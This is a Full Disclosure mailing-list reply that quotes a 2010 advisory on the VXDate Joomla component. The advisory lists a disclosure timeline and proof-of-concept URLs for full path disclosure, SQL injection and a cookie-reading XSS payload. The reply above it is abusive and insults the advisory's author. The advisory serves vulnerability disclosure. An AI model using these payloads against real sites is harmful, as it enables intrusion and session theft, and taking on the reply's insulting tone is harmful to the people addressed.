Full Disclosure: Re: Vulnerabilities in VXDate for Joomla

[julian steward <julian.steward09 () gmail com>]

7 month to inform the dev's, what kind of asshole are you ?

Oh wait, were you hacking some n00bs website, with your shitty dork ?

2010/3/17 MustLive <mustlive () websecurity com ua>

> Hello Full-Disclosure!
>
> I want to warn you about vulnerabilities in component VXDate for Joomla.
>
> -----------------------------
> Advisory: Vulnerabilities in VXDate for Joomla
> -----------------------------
> URL: http://websecurity.com.ua/3849/
> -----------------------------
> Timeline:
>
> 10.05.2009 - found the vulnerabilities.
> 12.01.2010 - announced at my site.
> 18.01.2010 - informed developers.
> 13.03.2010 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Full path disclosure, SQL Injection and Cross-Site Scripting
> vulnerabilities.
>
> Full path disclosure:
>
> http://site/index.php?option=com_vxdate&ct=’
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=’
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=’
>
> SQL Injection:
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20version()=5
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20version()=5
>
> XSS:
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
>
>
> http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
>
> Vulnerable are potentially all versions of VXDate.
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/